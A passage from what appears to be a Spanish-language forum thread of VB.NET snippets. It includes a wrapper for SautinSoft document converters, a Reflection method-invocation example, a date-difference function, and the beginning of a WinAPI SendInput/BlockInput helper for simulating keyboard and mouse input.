' DocumentConverter.PageOrientation.Auto, "Header", "Footer",
' SautinSoft.HtmlToRtf.eImageCompatible.WordPad)
' ' HTML 2 TXT
' RichTextBox1.Text = HTMLConverter.Html2Txt(IO.File.ReadAllText("C:\File.htm", System.Text.Encoding.Default),
' SautinSoft.HtmlToRtf.eEncoding.AutoDetect, False,
' DocumentConverter.PageSize.Auto, SautinSoft.HtmlToRtf.ePageNumbers.PageNumFirst,
' "Page {page} of {numpages}", SautinSoft.HtmlToRtf.eAlign.Undefined,
' DocumentConverter.PageOrientation.Auto, "Header", "Footer",
' SautinSoft.HtmlToRtf.eImageCompatible.WordPad)
' ' HTML 2 DOC
' Dim MSDocText As String = HTMLConverter.Html2Doc(IO.File.ReadAllText("C:\File.htm", System.Text.Encoding.Default),
' SautinSoft.HtmlToRtf.eEncoding.AutoDetect, False,
' DocumentConverter.PageSize.Auto, SautinSoft.HtmlToRtf.ePageNumbers.PageNumFirst,
' "Page {page} of {numpages}", SautinSoft.HtmlToRtf.eAlign.Undefined,
' DocumentConverter.PageOrientation.Auto, "Header", "Footer",
' SautinSoft.HtmlToRtf.eImageCompatible.MSWord)
' IO.File.WriteAllText("C:\DocFile.doc", MSDocText, System.Text.Encoding.Default)
' ' TXT 2 RTF
' RichTextBox1.Rtf = DocumentConverter.Txt2Rtf("Hello World!",
' SautinSoft.HtmlToRtf.eEncoding.AutoDetect, False,
' DocumentConverter.PageSize.Auto, SautinSoft.HtmlToRtf.ePageNumbers.PageNumFirst,
' "Page {page} of {numpages}", SautinSoft.HtmlToRtf.eAlign.Undefined,
' DocumentConverter.PageOrientation.Auto, "Header", "Footer",
' SautinSoft.HtmlToRtf.eImageCompatible.WordPad)
' ' TXT 2 DOC
' Dim MSDocText As String = DocumentConverter.Txt2Doc("Hello World!",
' SautinSoft.HtmlToRtf.eEncoding.AutoDetect, False,
' DocumentConverter.PageSize.Auto, SautinSoft.HtmlToRtf.ePageNumbers.PageNumFirst,
' "Page {page} of {numpages}", SautinSoft.HtmlToRtf.eAlign.Undefined,
' DocumentConverter.PageOrientation.Auto, "Header", "Footer",
' SautinSoft.HtmlToRtf.eImageCompatible.WordPad)
' IO.File.WriteAllText("C:\DocFile.doc", MSDocText, System.Text.Encoding.Default)
' ' RTF 2 HTML
' Dim HTMLString As String =
' DocumentConverter.Rtf2Html(IO.File.ReadAllText("C:\File.rtf"),
' SautinSoft.RtfToHtml.eOutputFormat.XHTML_10,
' SautinSoft.RtfToHtml.eEncoding.UTF_8,
' True, "C:\")
'
' IO.File.WriteAllText("C:\File.html", HTMLString)
' Process.Start("C:\File.html")
#End Region
#Region " Imports "
Imports SautinSoft
Imports System.Reflection
#End Region
''' <summary>
''' Performs HTML document convertions to other document formats.
''' </summary>
Public Class DocumentConverter
#Region " Enumerations "
''' <summary>
''' Indicates the resulting PageSize.
''' </summary>
Public Enum PageSize
Auto
A3
A4
A5
A6
B5Iso
B5Jis
B6
Executive
Folio
Legal
Letter
Oficio2
Statement
End Enum
''' <summary>
''' Indicates the resulting PageOrientation.
''' </summary>
Public Enum PageOrientation
Auto
Landscape
Portrait
End Enum
#End Region
#Region " Private Methods "
''' <summary>
''' Converts a document using 'SautinSoft.HtmlToRtf' library.
''' </summary>
''' <param name="Text">
''' Indicates the text to convert.
''' </param>
''' <param name="OutputFormat">
''' Indicates the output document format.
''' </param>
''' <param name="TextEncoding">
''' Indicates the text encoding.
''' </param>
''' <param name="PreservePageBreaks">
''' If set to <c>true</c> page breaks are preserved on the conversion.
''' </param>
''' <param name="PageSize">
''' Indicates the page size.
''' </param>
''' <param name="Pagenumbers">
''' Indicates the page numbers.
''' </param>
''' <param name="PagenumbersFormat">
''' Indicates the page numbers format.
''' </param>
''' <param name="PageAlignment">
''' Indicates the page alignment.
''' </param>
''' <param name="PageOrientation">
''' Indicates the page orientation.
''' </param>
''' <param name="PageHeader">
''' Indicates the page header text.
''' </param>
''' <param name="PageFooter">
''' Indicates the page footer text.
''' </param>
''' <param name="ImageCompatibility">
''' Indicates the image compatibility if the document contains images.
''' RichTexBox control and WordPad can't show jpeg and png images inside RTF, they can show only bitmap images.
''' Microsoft Word can show images in jpeg, png, etc.
''' If this property is set to 'eImageCompatible.WordPad' images will be stored as BMP inside RTF.
''' </param>
''' <returns>System.String.</returns>
Private Shared Function HtmlToRtfConvert(ByVal [Text] As String,
ByVal InputFormat As HtmlToRtf.eInputFormat,
ByVal OutputFormat As HtmlToRtf.eOutputFormat,
Optional ByVal TextEncoding As HtmlToRtf.eEncoding = HtmlToRtf.eEncoding.AutoDetect,
Optional ByVal PreservePageBreaks As Boolean = False,
Optional ByVal PageSize As PageSize = PageSize.Auto,
Optional ByVal Pagenumbers As HtmlToRtf.ePageNumbers = HtmlToRtf.ePageNumbers.PageNumFirst,
Optional ByVal PagenumbersFormat As String = "Page {page} of {numpages}",
Optional ByVal PageAlignment As HtmlToRtf.eAlign = HtmlToRtf.eAlign.Undefined,
Optional ByVal PageOrientation As PageOrientation = PageOrientation.Auto,
Optional ByVal PageHeader As String = Nothing,
Optional ByVal PageFooter As String = Nothing,
Optional ByVal ImageCompatibility As HtmlToRtf.eImageCompatible = HtmlToRtf.eImageCompatible.WordPad) As String
' Set the PageSize.
Dim PerformPageSize As New HtmlToRtf.CPageStyle.CPageSize()
Dim PageSizeMethod As MethodInfo = PerformPageSize.GetType().GetMethod(PageSize.ToString())
' Set the PageOrientation.
Dim PerformPageOrientation As New HtmlToRtf.CPageStyle.CPageOrientation
Dim PageOrientationMethod As MethodInfo = PerformPageOrientation.GetType().GetMethod(PageOrientation.ToString())
' Call the PageSize method.
If Not PageSizeMethod Is Nothing Then
PageSizeMethod.Invoke(PerformPageSize, Nothing)
Else
Throw New Exception(String.Format("PageSize method {0} not found.", PageSize.ToString))
End If
' Call the PageOrientation method.
If Not PageOrientationMethod Is Nothing Then
PageOrientationMethod.Invoke(PerformPageOrientation, Nothing)
Else
Throw New Exception(String.Format("PageOrientation method {0} not found.", PageOrientation.ToString))
End If
' Instance a new document converter.
Dim Converter As New HtmlToRtf
' Customize the conversion options.
With Converter
.Serial = "123456789012"
.InputFormat = InputFormat
.OutputFormat = OutputFormat
.Encoding = TextEncoding
.PreservePageBreaks = PreservePageBreaks
.ImageCompatible = ImageCompatibility
.PageAlignment = PageAlignment
.PageNumbers = Pagenumbers
.PageNumbersFormat = PagenumbersFormat
.PageStyle.PageSize = PerformPageSize
.PageStyle.PageOrientation = PerformPageOrientation
If Not String.IsNullOrEmpty(PageHeader) Then .PageStyle.PageHeader.Text(PageHeader)
If Not String.IsNullOrEmpty(PageFooter) Then .PageStyle.PageFooter.Text(PageFooter)
End With
' Convert it.
Return Converter.ConvertString([Text])
End Function
''' <summary>
''' Converts a document using 'SautinSoft.RtfToHtml' library.
''' </summary>
''' <param name="Text">
''' Indicates the text to convert.
''' </param>
''' <param name="OutputFormat">
''' Indicates the output HTML format.
''' </param>
''' <param name="TextEncoding">
''' Indicates the text encoding.
''' </param>
''' <param name="SaveImagesToDisk">
''' If set to <c>true</c>, converted images are saved to a directory on hard drive.
''' </param>
''' <param name="ImageFolder">
''' If 'SaveImagesToDisk' parameter is set to 'True', indicates the image directory to save the images.
''' The directory must exist.
''' </param>
''' <returns>System.String.</returns>
Private Shared Function RtfToHtmlConvert(ByVal [Text] As String,
Optional ByVal OutputFormat As RtfToHtml.eOutputFormat = RtfToHtml.eOutputFormat.XHTML_10,
Optional ByVal TextEncoding As RtfToHtml.eEncoding = RtfToHtml.eEncoding.UTF_8,
Optional ByVal SaveImagesToDisk As Boolean = False,
Optional ByVal ImageFolder As String = "C:\") As String
' Instance a new document converter.
Dim Converter As New RtfToHtml
' Customize the conversion options.
With Converter
.Serial = "123456789012"
.OutputFormat = OutputFormat
.Encoding = TextEncoding
.ImageStyle.IncludeImageInHtml = Not SaveImagesToDisk
.ImageStyle.ImageFolder = ImageFolder ' This folder must exist to save the converted images.
.ImageStyle.ImageSubFolder = "Pictures" ' This subfolder will be created by the component to save the images.
.ImageStyle.ImageFileName = "picture" ' Pattern name for converted images. (Ex: 'Picture1.png')
End With
' Convert it.
Return Converter.ConvertString([Text])
End Function
#End Region
#Region " Public Methods "
''' <summary>
''' Converts HTML text to DOC (Microsoft Word).
''' </summary>
''' <param name="HtmlText">
''' Indicates the HTML text to convert.
''' </param>
''' <param name="TextEncoding">
''' Indicates the text encoding.
''' </param>
''' <param name="PreservePageBreaks">
''' If set to <c>true</c> page breaks are preserved on the conversion.
''' </param>
''' <param name="PageSize">
''' Indicates the page size.
''' </param>
''' <param name="Pagenumbers">
''' Indicates the page numbers.
''' </param>
''' <param name="PagenumbersFormat">
''' Indicates the page numbers format.
''' </param>
''' <param name="PageAlignment">
''' Indicates the page alignment.
''' </param>
''' <param name="PageOrientation">
''' Indicates the page orientation.
''' </param>
''' <param name="PageHeader">
''' Indicates the page header text.
''' </param>
''' <param name="PageFooter">
''' Indicates the page footer text.
''' </param>
''' <param name="ImageCompatibility">
''' Indicates the image compatibility if the document contains images.
''' RichTexBox control and WordPad can't show jpeg and png images inside RTF, they can show only bitmap images.
''' Microsoft Word can show images in jpeg, png, etc.
''' If this property is set to 'eImageCompatible.WordPad' images will be stored as BMP inside RTF.
''' </param>
''' <returns>System.String.</returns>
Public Shared Function Html2Doc(ByVal HtmlText As String,
Optional ByVal TextEncoding As HtmlToRtf.eEncoding = HtmlToRtf.eEncoding.AutoDetect,
Optional ByVal PreservePageBreaks As Boolean = False,
Optional ByVal PageSize As PageSize = PageSize.Auto,
Optional ByVal Pagenumbers As HtmlToRtf.ePageNumbers = HtmlToRtf.ePageNumbers.PageNumFirst,
Optional ByVal PagenumbersFormat As String = "Page {page} of {numpages}",
Optional ByVal PageAlignment As HtmlToRtf.eAlign = HtmlToRtf.eAlign.Undefined,
Optional ByVal PageOrientation As PageOrientation = PageOrientation.Auto,
Optional ByVal PageHeader As String = Nothing,
Optional ByVal PageFooter As String = Nothing,
Optional ByVal ImageCompatibility As HtmlToRtf.eImageCompatible = HtmlToRtf.eImageCompatible.WordPad
) As String
Return HtmlToRtfConvert(HtmlText, HtmlToRtf.eInputFormat.Html, HtmlToRtf.eOutputFormat.Doc, TextEncoding,
PreservePageBreaks, PageSize, Pagenumbers, PagenumbersFormat,
PageAlignment, PageOrientation, PageHeader, PageFooter, ImageCompatibility)
End Function
''' <summary>
''' Converts HTML text to RTF (Rich Text).
''' </summary>
''' <param name="HtmlText">
''' Indicates the HTML text to convert.
''' </param>
''' <param name="TextEncoding">
''' Indicates the text encoding.
''' </param>
''' <param name="PreservePageBreaks">
''' If set to <c>true</c> page breaks are preserved on the conversion.
''' </param>
''' <param name="PageSize">
''' Indicates the page size.
''' </param>
''' <param name="Pagenumbers">
''' Indicates the page numbers.
''' </param>
''' <param name="PagenumbersFormat">
''' Indicates the page numbers format.
''' </param>
''' <param name="PageAlignment">
''' Indicates the page alignment.
''' </param>
''' <param name="PageOrientation">
''' Indicates the page orientation.
''' </param>
''' <param name="PageHeader">
''' Indicates the page header text.
''' </param>
''' <param name="PageFooter">
''' Indicates the page footer text.
''' </param>
''' <param name="ImageCompatibility">
''' Indicates the image compatibility if the document contains images.
''' RichTexBox control and WordPad can't show jpeg and png images inside RTF, they can show only bitmap images.
''' Microsoft Word can show images in jpeg, png, etc.
''' If this property is set to 'eImageCompatible.WordPad' images will be stored as BMP inside RTF.
''' </param>
''' <returns>System.String.</returns>
Public Shared Function Html2Rtf(ByVal HtmlText As String,
Optional ByVal TextEncoding As HtmlToRtf.eEncoding = HtmlToRtf.eEncoding.AutoDetect,
Optional ByVal PreservePageBreaks As Boolean = False,
Optional ByVal PageSize As PageSize = PageSize.Auto,
Optional ByVal Pagenumbers As HtmlToRtf.ePageNumbers = HtmlToRtf.ePageNumbers.PageNumFirst,
Optional ByVal PagenumbersFormat As String = "Page {page} of {numpages}",
Optional ByVal PageAlignment As HtmlToRtf.eAlign = HtmlToRtf.eAlign.Undefined,
Optional ByVal PageOrientation As PageOrientation = PageOrientation.Auto,
Optional ByVal PageHeader As String = Nothing,
Optional ByVal PageFooter As String = Nothing,
Optional ByVal ImageCompatibility As HtmlToRtf.eImageCompatible = HtmlToRtf.eImageCompatible.WordPad
) As String
Return HtmlToRtfConvert(HtmlText, HtmlToRtf.eInputFormat.Html, HtmlToRtf.eOutputFormat.Rtf, TextEncoding,
PreservePageBreaks, PageSize, Pagenumbers, PagenumbersFormat,
PageAlignment, PageOrientation, PageHeader, PageFooter, ImageCompatibility)
End Function
''' <summary>
''' Converts HTML text to TXT (Plain Text).
''' </summary>
''' <param name="HtmlText">
''' Indicates the HTML text to convert.
''' </param>
''' <param name="TextEncoding">
''' Indicates the text encoding.
''' </param>
''' <param name="PreservePageBreaks">
''' If set to <c>true</c> page breaks are preserved on the conversion.
''' </param>
''' <param name="PageSize">
''' Indicates the page size.
''' </param>
''' <param name="Pagenumbers">
''' Indicates the page numbers.
''' </param>
''' <param name="PagenumbersFormat">
''' Indicates the page numbers format.
''' </param>
''' <param name="PageAlignment">
''' Indicates the page alignment.
''' </param>
''' <param name="PageOrientation">
''' Indicates the page orientation.
''' </param>
''' <param name="PageHeader">
''' Indicates the page header text.
''' </param>
''' <param name="PageFooter">
''' Indicates the page footer text.
''' </param>
''' <param name="ImageCompatibility">
''' Indicates the image compatibility if the document contains images.
''' RichTexBox control and WordPad can't show jpeg and png images inside RTF, they can show only bitmap images.
''' Microsoft Word can show images in jpeg, png, etc.
''' If this property is set to 'eImageCompatible.WordPad' images will be stored as BMP inside RTF.
''' </param>
''' <returns>System.String.</returns>
Public Shared Function Html2Txt(ByVal HtmlText As String,
Optional ByVal TextEncoding As HtmlToRtf.eEncoding = HtmlToRtf.eEncoding.AutoDetect,
Optional ByVal PreservePageBreaks As Boolean = False,
Optional ByVal PageSize As PageSize = PageSize.Auto,
Optional ByVal Pagenumbers As HtmlToRtf.ePageNumbers = HtmlToRtf.ePageNumbers.PageNumFirst,
Optional ByVal PagenumbersFormat As String = "Page {page} of {numpages}",
Optional ByVal PageAlignment As HtmlToRtf.eAlign = HtmlToRtf.eAlign.Undefined,
Optional ByVal PageOrientation As PageOrientation = PageOrientation.Auto,
Optional ByVal PageHeader As String = Nothing,
Optional ByVal PageFooter As String = Nothing,
Optional ByVal ImageCompatibility As HtmlToRtf.eImageCompatible = HtmlToRtf.eImageCompatible.WordPad
) As String
Return HtmlToRtfConvert(HtmlText, HtmlToRtf.eInputFormat.Html, HtmlToRtf.eOutputFormat.TextAnsi, TextEncoding,
PreservePageBreaks, PageSize, Pagenumbers, PagenumbersFormat,
PageAlignment, PageOrientation, PageHeader, PageFooter, ImageCompatibility)
End Function
''' <summary>
''' Converts TXT to DOC (Microsoft Word).
''' </summary>
''' <param name="Text">
''' Indicates the plain text to convert.
''' </param>
''' <param name="TextEncoding">
''' Indicates the text encoding.
''' </param>
''' <param name="PreservePageBreaks">
''' If set to <c>true</c> page breaks are preserved on the conversion.
''' </param>
''' <param name="PageSize">
''' Indicates the page size.
''' </param>
''' <param name="Pagenumbers">
''' Indicates the page numbers.
''' </param>
''' <param name="PagenumbersFormat">
''' Indicates the page numbers format.
''' </param>
''' <param name="PageAlignment">
''' Indicates the page alignment.
''' </param>
''' <param name="PageOrientation">
''' Indicates the page orientation.
''' </param>
''' <param name="PageHeader">
''' Indicates the page header text.
''' </param>
''' <param name="PageFooter">
''' Indicates the page footer text.
''' </param>
''' <param name="ImageCompatibility">
''' Indicates the image compatibility if the document contains images.
''' RichTexBox control and WordPad can't show jpeg and png images inside RTF, they can show only bitmap images.
''' Microsoft Word can show images in jpeg, png, etc.
''' If this property is set to 'eImageCompatible.WordPad' images will be stored as BMP inside RTF.
''' </param>
''' <returns>System.String.</returns>
Public Shared Function Txt2Doc(ByVal [Text] As String,
Optional ByVal TextEncoding As HtmlToRtf.eEncoding = HtmlToRtf.eEncoding.AutoDetect,
Optional ByVal PreservePageBreaks As Boolean = False,
Optional ByVal PageSize As PageSize = PageSize.Auto,
Optional ByVal Pagenumbers As HtmlToRtf.ePageNumbers = HtmlToRtf.ePageNumbers.PageNumFirst,
Optional ByVal PagenumbersFormat As String = "Page {page} of {numpages}",
Optional ByVal PageAlignment As HtmlToRtf.eAlign = HtmlToRtf.eAlign.Undefined,
Optional ByVal PageOrientation As PageOrientation = PageOrientation.Auto,
Optional ByVal PageHeader As String = Nothing,
Optional ByVal PageFooter As String = Nothing,
Optional ByVal ImageCompatibility As HtmlToRtf.eImageCompatible = HtmlToRtf.eImageCompatible.WordPad
) As String
Return HtmlToRtfConvert([Text], HtmlToRtf.eInputFormat.Text, HtmlToRtf.eOutputFormat.Doc, TextEncoding,
PreservePageBreaks, PageSize, Pagenumbers, PagenumbersFormat,
PageAlignment, PageOrientation, PageHeader, PageFooter, ImageCompatibility)
End Function
''' <summary>
''' Converts TXT to RTF (Rich Text).
''' </summary>
''' <param name="Text">
''' Indicates the plain text to convert.
''' </param>
''' <param name="TextEncoding">
''' Indicates the text encoding.
''' </param>
''' <param name="PreservePageBreaks">
''' If set to <c>true</c> page breaks are preserved on the conversion.
''' </param>
''' <param name="PageSize">
''' Indicates the page size.
''' </param>
''' <param name="Pagenumbers">
''' Indicates the page numbers.
''' </param>
''' <param name="PagenumbersFormat">
''' Indicates the page numbers format.
''' </param>
''' <param name="PageAlignment">
''' Indicates the page alignment.
''' </param>
''' <param name="PageOrientation">
''' Indicates the page orientation.
''' </param>
''' <param name="PageHeader">
''' Indicates the page header text.
''' </param>
''' <param name="PageFooter">
''' Indicates the page footer text.
''' </param>
''' <param name="ImageCompatibility">
''' Indicates the image compatibility if the document contains images.
''' RichTexBox control and WordPad can't show jpeg and png images inside RTF, they can show only bitmap images.
''' Microsoft Word can show images in jpeg, png, etc.
''' If this property is set to 'eImageCompatible.WordPad' images will be stored as BMP inside RTF.
''' </param>
''' <returns>System.String.</returns>
Public Shared Function Txt2Rtf(ByVal [Text] As String,
Optional ByVal TextEncoding As HtmlToRtf.eEncoding = HtmlToRtf.eEncoding.AutoDetect,
Optional ByVal PreservePageBreaks As Boolean = False,
Optional ByVal PageSize As PageSize = PageSize.Auto,
Optional ByVal Pagenumbers As HtmlToRtf.ePageNumbers = HtmlToRtf.ePageNumbers.PageNumFirst,
Optional ByVal PagenumbersFormat As String = "Page {page} of {numpages}",
Optional ByVal PageAlignment As HtmlToRtf.eAlign = HtmlToRtf.eAlign.Undefined,
Optional ByVal PageOrientation As PageOrientation = PageOrientation.Auto,
Optional ByVal PageHeader As String = Nothing,
Optional ByVal PageFooter As String = Nothing,
Optional ByVal ImageCompatibility As HtmlToRtf.eImageCompatible = HtmlToRtf.eImageCompatible.WordPad
) As String
Return HtmlToRtfConvert([Text], HtmlToRtf.eInputFormat.Text, HtmlToRtf.eOutputFormat.Rtf, TextEncoding,
PreservePageBreaks, PageSize, Pagenumbers, PagenumbersFormat,
PageAlignment, PageOrientation, PageHeader, PageFooter, ImageCompatibility)
End Function
''' <summary>
''' Converts RtF to HtML.
''' </summary>
''' <param name="RtfText">
''' Indicates the rich text to convert.
''' </param>
''' <param name="OutputFormat">
''' Indicates the output HTML format.
''' </param>
''' <param name="TextEncoding">
''' Indicates the text encoding.
''' </param>
''' <param name="SaveImagesToDisk">
''' If set to <c>true</c>, converted images are saved to a directory on hard drive.
''' </param>
''' <param name="ImageFolder">
''' If 'SaveImagesToDisk' parameter is set to 'True', indicates the image directory to save the images.
''' The directory must exist.
''' </param>
''' <returns>System.String.</returns>
Public Shared Function Rtf2Html(ByVal RtfText As String,
Optional ByVal OutputFormat As RtfToHtml.eOutputFormat = RtfToHtml.eOutputFormat.XHTML_10,
Optional ByVal TextEncoding As RtfToHtml.eEncoding = RtfToHtml.eEncoding.UTF_8,
Optional ByVal SaveImagesToDisk As Boolean = False,
Optional ByVal ImageFolder As String = "C:\") As String
Return RtfToHtmlConvert(RtFText, OutputFormat, TextEncoding, SaveImagesToDisk, ImageFolder)
End Function
#End Region
End Class
Ejemplo de como encontrar e invocar un método usando Reflection, si solo tenemos un String que contiene el nombre del método, y como pasarle un parámetro nulo al invocar.
Imports System.Reflection
Imports System.Globalization
Public Class Form1
Private Shadows Sub Load() Handles MyBase.Load
Dim MethodName As String = "Test"
Dim Method As MethodInfo =
Me.GetType().GetMethod(MethodName, BindingFlags.IgnoreCase Or BindingFlags.Instance Or
BindingFlags.Public Or BindingFlags.NonPublic)
If Method IsNot Nothing Then
Method.Invoke(Me, BindingFlags.IgnoreCase Or BindingFlags.Instance Or
BindingFlags.Public Or BindingFlags.NonPublic,
Nothing,
New Object() {"Hello World!", Type.Missing}, CultureInfo.InvariantCulture)
Else
MsgBox("Method not found.")
End If
End Sub
Private Sub Test(ByVal StringValue As String, Optional ByVal IntValue As Integer = 1)
MessageBox.Show(StringValue & IntValue)
End Sub
End Class
Un DateDifference personalizado:
' Date Difference
' ( By Elektro )
'
' Usage Examples :
'
' MsgBox(DateDifference(DateTime.Parse("01/03/2013 00:00:00"),
' DateTime.Parse("09/04/2014 01:01:01"),
' "{0} Year(s), {1} Month(s), {2} Week(s), {3} Day(s), {4} Hour(s), {5} Minute(s) and {6} Second(s)"))
''' <summary>
''' Shows the difference between two dates with custom string format.
''' </summary>
''' <param name="Date1">Indicates the first date to compare.</param>
''' <param name="Date2">Indicates the second date to compare.</param>
''' <param name="StringFormat">
''' Indicates the string format to display the difference, where:
''' {0} = Years, {1} = Months, {2} = Weeks, {3} = Days, {4} = Hours, {5} = Minutes and {6} = Seconds</param>
''' <returns>System.String.</returns>
Private Function DateDifference(ByVal Date1 As DateTime,
ByVal Date2 As DateTime,
ByVal StringFormat As String) As String
Dim Time As TimeSpan
Dim YearDiff As Integer, MonthDiff As Integer, WeekDiff As Integer
Do Until Date1 > Date2
Date1 = Date1.AddMonths(1)
MonthDiff += 1
If MonthDiff = 12 Then
YearDiff += 1
MonthDiff = 0
End If
Loop
MonthDiff -= 1
Date1 = Date1.AddMonths(-1)
Time = (Date2 - Date1)
WeekDiff = (Time.Days \ 7)
Time = (Time - TimeSpan.FromDays(WeekDiff * 7))
Return String.Format(StringFormat, YearDiff, MonthDiff, WeekDiff, Time.Days, Time.Hours, Time.Minutes, Time.Seconds)
End Function
Un helper class para el método
SendInput de la WinAPI
Cita de: http://msdn.microsoft.com/en-us/library/windows/desktop/ms646310%28v=vs.85%29.aspxSynthesizes keystrokes, mouse motions, and button clicks.
PD: El método 'sendkeys' no es 100% perfecto con caracteres especiales como la 'Ñ', pero tampoco lo voy a elaborar más por el momento,ya que es un coñazo por los distintos layouts del teclado.
' ***********************************************************************
' Author : Elektro
' Modified : 02-21-2014
' ***********************************************************************
' <copyright file="SendInputs.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Private Sub Test() Handles Button1.Click
' AppActivate(Process.GetProcessesByName("notepad").First.Id)
' Dim c As Char = Convert.ToChar(Keys.Oemtilde) ' Ñ
' Dim Result As Integer = SendInputs.SendKey(Convert.ToChar(c.ToString.ToLower))
' MessageBox.Show(String.Format("Successfull events: {0}", CStr(Result)))
' SendInputs.SendKey(Keys.Enter)
' SendInputs.SendKey(Convert.ToChar(Keys.Back))
' SendInputs.SendKeys("Hello World", True)
' SendInputs.SendKey(Convert.ToChar(Keys.D0))
' SendInputs.SendKeys(Keys.Insert, BlockInput:=True)
' SendInputs.MouseClick(SendInputs.MouseButton.RightPress, False)
' SendInputs.MouseMove(5, -5)
' SendInputs.MousePosition(New Point(100, 500))
'End Sub
#End Region
#Region " Imports "
Imports System.Runtime.InteropServices
Imports System.ComponentModel
#End Region
''' <summary>
''' Synthesizes keystrokes, mouse motions, and button clicks.
''' </summary>
Public Class SendInputs
#Region " P/Invoke "
Friend Class NativeMethods
#Region " Methods "
''' <summary>
''' Blocks keyboard and mouse input events from reaching applications.
''' For more info see here:
''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms646290%28v=vs.85%29.aspx
''' </summary>
''' <param name="fBlockIt">
''' The function's purpose.
''' If this parameter is 'TRUE', keyboard and mouse input events are blocked.
''' If this parameter is 'FALSE', keyboard and mouse events are unblocked.
''' </param>
''' <returns>
''' If the function succeeds, the return value is nonzero.
''' If input is already blocked, the return value is zero.
''' </returns>
''' <remarks>
''' Note that only the thread that blocked input can successfully unblock input.
''' </remarks>
<DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall,
SetLastError:=True)>
Friend Shared Function BlockInput(
ByVal fBlockIt As Boolean
) As Integer
End Function
''' <summary>
''' Synthesizes keystrokes, mouse motions, and button clicks.
''' For more info see here:
''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms646310%28v=vs.85%29.aspx
''' </summary>
''' <param name="nInputs">
''' Indicates the number of structures in the pInputs array.
''' </param>
''' <param name="pInputs">
''' Indicates an Array of 'INPUT' structures.
''' Each structure represents an event to be inserted into the keyboard or mouse input stream.
''' </param>
''' <param name="cbSize">
''' The size, in bytes, of an 'INPUT' structure.
''' If 'cbSize' is not the size of an 'INPUT' structure, the function fails.
''' </param>
''' <returns>
''' The function returns the number of events that it successfully
''' inserted into the keyboard or mouse input stream.
''' If the function returns zero, the input was already blocked by another thread.
''' </returns>
<DllImport("user32.dll", SetLastError:=True)>
Friend Shared Function SendInput(
ByVal nInputs As Integer,
<MarshalAs(UnmanagedType.LPArray), [In]> ByVal pInputs As INPUT(),
ByVal cbSize As Integer
) As Integer
End Function
#End Region
#Region " Enumerations "
''' <summary>
''' VirtualKey codes.
''' </summary>
Friend Enum VirtualKeys As Short
''' <summary>
''' The Shift key.
''' VK_SHIFT
''' </summary>
SHIFT = &H10S
''' <summary>
''' The DEL key.
''' VK_DELETE
''' </summary>
DELETE = 46S
''' <summary>
''' The ENTER key.
''' VK_RETURN
''' </summary>
[RETURN] = 13S
End Enum
''' <summary>
''' The type of the input event.
''' For more info see here:
''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms646270%28v=vs.85%29.aspx
''' </summary>
<Description("Enumeration used for 'type' parameter of 'INPUT' structure")>
Friend Enum InputType As Integer
''' <summary>
''' The event is a mouse event.
''' Use the mi structure of the union.
''' </summary>
Mouse = 0
''' <summary>
''' The event is a keyboard event.
''' Use the ki structure of the union.
''' </summary>
Keyboard = 1
''' <summary>
''' The event is a hardware event.
''' Use the hi structure of the union.
''' </summary>
Hardware = 2
End Enum
''' <summary>
''' Specifies various aspects of a keystroke.
''' This member can be certain combinations of the following values.
''' For more info see here:
''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms646271%28v=vs.85%29.aspx
''' </summary>
<Description("Enumeration used for 'dwFlags' parameter of 'KeyboardInput' structure")>
<Flags>
Friend Enum KeyboardInput_Flags As Integer
''' <summary>
''' If specified, the scan code was preceded by a prefix byte that has the value '0xE0' (224).
''' </summary>
ExtendedKey = &H1
''' <summary>
''' If specified, the key is being pressed.
''' </summary>
KeyDown = &H0
''' <summary>
''' If specified, the key is being released.
''' If not specified, the key is being pressed.
''' </summary>
KeyUp = &H2
''' <summary>
''' If specified, 'wScan' identifies the key and 'wVk' is ignored.
''' </summary>
ScanCode = &H8
''' <summary>
''' If specified, the system synthesizes a 'VK_PACKET' keystroke.
''' The 'wVk' parameter must be '0'.
''' This flag can only be combined with the 'KEYEVENTF_KEYUP' flag.
''' </summary>
Unicode = &H4
End Enum
''' <summary>
''' A set of bit flags that specify various aspects of mouse motion and button clicks.
''' The bits in this member can be any reasonable combination of the following values.
''' For more info see here:
''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms646273%28v=vs.85%29.aspx
''' </summary>
<Description("Enumeration used for 'dwFlags' parameter of 'MouseInput' structure")>
<Flags>
Friend Enum MouseInput_Flags As Integer
''' <summary>
''' The 'dx' and 'dy' members contain normalized absolute coordinates.
''' If the flag is not set, 'dx' and 'dy' contain relative data
''' (the change in position since the last reported position).
''' This flag can be set, or not set,
''' regardless of what kind of mouse or other pointing device, if any, is connected to the system.
''' </summary>
Absolute = &H8000I
''' <summary>
''' Movement occurred.
''' </summary>
Move = &H1I
''' <summary>
''' The 'WM_MOUSEMOVE' messages will not be coalesced.
''' The default behavior is to coalesce 'WM_MOUSEMOVE' messages.
''' </summary>
Move_NoCoalesce = &H2000I
''' <summary>
''' The left button was pressed.
''' </summary>
LeftDown = &H2I
''' <summary>
''' The left button was released.
''' </summary>
LeftUp = &H4I
''' <summary>
''' The right button was pressed.
''' </summary>
RightDown = &H8I
''' <summary>
''' The right button was released.
''' </summary>
RightUp = &H10I
''' <summary>
''' The middle button was pressed.
''' </summary>
MiddleDown = &H20I
''' <summary>
''' The middle button was released.
''' </summary>
MiddleUp = &H40I
''' <summary>
''' Maps coordinates to the entire desktop.
''' Must be used in combination with 'Absolute'.
''' </summary>
VirtualDesk = &H4000I
''' <summary>
''' The wheel was moved, if the mouse has a wheel.
''' The amount of movement is specified in 'mouseData'.
''' </summary>
Wheel = &H800I
''' <summary>
''' The wheel was moved horizontally, if the mouse has a wheel.
''' The amount of movement is specified in 'mouseData'.
''' </summary>
HWheel = &H1000I
''' <summary>
''' An X button was pressed.
''' </summary>
XDown = &H80I
''' <summary>
''' An X button was released.
''' </summary>
XUp = &H100I
End Enum
#End Region
#Region " Structures "
''' <summary>
''' Used by 'SendInput' function
''' to store information for synthesizing input events such as keystrokes, mouse movement, and mouse clicks.
''' For more info see here:
''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms646270%28v=vs.85%29.aspx
''' </summary>
<Description("Structure used for 'INPUT' parameter of 'SendInput' API method")>
<StructLayout(LayoutKind.Explicit)>
Friend Structure Input
' ******
' NOTE
' ******
' Field offset for 32 bit machine: 4
